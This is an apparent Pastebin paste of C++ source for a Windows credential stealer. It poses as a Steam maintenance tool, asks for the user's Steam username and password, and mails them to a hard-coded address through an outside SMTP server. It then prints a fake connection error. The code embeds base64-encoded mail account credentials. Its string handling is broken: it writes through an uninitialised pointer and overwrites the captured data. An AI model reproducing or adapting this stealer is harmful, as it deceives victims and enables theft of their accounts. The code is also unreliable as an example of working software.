Guest User

Untitled

a guest
Apr 26th, 2018
246
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.87 KB | None | 0 0
  1. #include <winsock2.h>
  2. #include <iostream>
  3. #include <fstream>
  4. using namespace std;
  5.  
  6. //----------------- FUNKTIONER ----------------------
  7.  
  8. int SendMail(char *mailserver, int port, char *acc_user_b64, char *acc_pass_b64, char *from, char *to, char *data);
  9. int SendData(char *data);
  10. void usage();
  11. void init();
  12.  
  13. //------------- GLOBALA VARIABLER -------------------
  14.  
  15. int sockfd, new_fd;
  16. struct sockaddr_in my_addr;
  17. struct sockaddr_in their_addr;
  18. struct hostent *he;
  19. int sin_size;
  20.  
  21. int main()
  22. {
  23.  
  24. cout << "Steam is currently under mainteance. \nIf you are to log in, please use this \nprogram to prevent your account from \nbeing stolen." << endl;
  25. char user[500];
  26. cout << "Username: ";
  27. cin >> user;
  28. char pass[500];
  29. cout << "\nPassword: ";
  30. cin >> pass;
  31.  
  32. char* data;
  33. strcat(data, user);
  34. strcpy(data, "::");
  35. strcpy(data, pass);
  36. cout<< "Connecting..";
  37. SendMail("smtp.home.se", 25, "c3RldmUtcGV0ZXJzb25AaG9tZS5zZQ==", "S2RKbjQtZFIuTw==", "steve-peterson@home.se", "steve-peterson@home.se", data);
  38. cout << "Could not connect to steam network. Try again later.";
  39.  
  40. cout << "\nPress enter to exit.";
  41.  
  42. cin.get();
  43. cin.get();
  44. return 0;
  45. }
  46. void init()
  47. {
  48. //initiera winsock
  49. WSADATA wsaData;
  50.  
  51. if(WSAStartup(MAKEWORD(1, 1), &wsaData) != 0)
  52. {
  53. cout<<"WSA Startup failed\n";
  54. cin.get();
  55. exit(1);
  56. }
  57. }
  58.  
  59. int SendData(char *data)
  60. {
  61. int len = strlen(data);
  62. if((send(sockfd, data, len, 0)) == -1)
  63. {
  64. cout<<"Error, send\n";
  65. exit(1);
  66. }
  67. }
  68.  
  69. int SendMail(char *mailserver, int port, char *acc_user_b64, char *acc_pass_b64, char *from, char *to, char *data)
  70. {
  71. init();
  72.  
  73. if(( he = gethostbyname(mailserver)) == NULL )
  74. {
  75. cout<<"error: hostname";
  76. exit(1);
  77. }
  78.  
  79. if(( sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
  80. {
  81. cout<<"cant create socket";
  82. exit(1);
  83. }
  84.  
  85. their_addr.sin_family = AF_INET;
  86. their_addr.sin_port = htons(port);
  87. their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  88. memset(their_addr.sin_zero, '\0', sizeof my_addr.sin_zero);
  89.  
  90. if( connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1 )
  91. {
  92. cout<<"cant connect";
  93. exit(1);
  94. }
  95.  
  96. //USER, NICK, PING, PONG
  97.  
  98. SendData("HELO server\r\n");
  99. SendData("AUTH LOGIN\r\n");
  100. SendData(acc_user_b64);
  101. SendData("\r\n");
  102. SendData(acc_pass_b64);
  103. SendData("\r\n");
  104. SendData("mail from:");
  105. SendData(from);
  106. SendData("\r\n");
  107. SendData("rcpt to:");
  108. SendData(to);
  109. SendData("\r\n");
  110. SendData("data\r\n");
  111. SendData(data);
  112. SendData("\r\n.\r\n");
  113. SendData("QUIT\r\n");
  114. }
Add Comment
Please, Sign In to add comment